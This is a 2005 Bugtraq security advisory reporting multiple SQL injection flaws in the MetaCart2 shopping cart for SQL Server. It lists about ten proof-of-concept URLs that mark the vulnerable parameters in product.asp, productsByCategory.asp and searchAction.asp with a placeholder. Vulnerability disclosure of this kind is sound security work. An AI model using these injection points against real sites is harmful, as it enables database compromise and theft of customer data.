[38596] in bugtraq
Multiple SQL Injections in MetaCart2 for SQL Server Special
daemon@ATHENA.MIT.EDU (dcrab)
Tue Apr 26 14:45:20 2005
Date: 26 Apr 2005 21:40:55 -0000
Message-ID: <20050426214055.1329.qmail@www.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: dcrab <dcrab@hackerscenter.com>
To: bugtraq@securityfocus.com
Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/
Get Dcrab's Services to audit your Web servers, scripts, networks, etc.
Learn more at http://www.digitalparadox.org/services.ah
Severity: High
Title: Multiple SQL Injections in MetaCart2 for SQL Server Special Edition
U.K
Date: 27/04/2005
Vendor: MetaCart
Vendor Website: www.metalinks.com
Summary: There are, multiple sql injections in metacart2 for sql server
special edition u.k.
Proof of Concept Exploits:
http://example.com/mcart2sqluk/product.asp?intProdID='SQL_INJECTION
SQL INJECTIONS
http://example.com/mcart2sqluk/productsByCategory.asp?intCatalogID='SQL_INJECTION&%3bpage=2
SQL INJECTIONS
http://example.com/mcart2sqluk/product.asp?intProdID='SQL_INJECTION
SQL INJECTIONS
http://example.com/mcart2sqluk/productsByCategory.asp?strSubCatalogID='SQL_INJECTION
SQL INJECTIONS
http://example.com/mcart2sqluk/searchAction.asp?chkText='SQL_INJECTION&strText=dcrab&chkPrice=yes&intPrice=all&chkCat=yes&strCat=1
SQL INJECTIONS
http://example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText='SQL_INJECTION&chkPrice=yes&intPrice=all&chkCat=yes&strCat=1
SQL INJECTIONS
http://example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText=dcrab&chkPrice='SQL_INJECTION&intPrice=all&chkCat=yes&strCat=1
SQL INJECTIONS
http://example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText=dcrab&chkPrice=yes&intPrice='SQL_INJECTION&chkCat=yes&strCat=1
SQL INJECTIONS
http://example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText=dcrab&chkPrice=yes&intPrice=all&chkCat='SQL_INJECTION&strCat=1
SQL INJECTIONS
http://example.com/mcart2sqluk/searchAction.asp?chkText=yes&strText=dcrab&chkPrice=yes&intPrice=all&chkCat=yes&strCat='SQL_INJECTION
SQL INJECTIONS
Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah
Author:
These vulnerabilties have been found and released by Diabolic Crab, Email:
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact
me regarding these vulnerabilities. You can find me at,
http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my
soon to come out book on Secure coding with php.
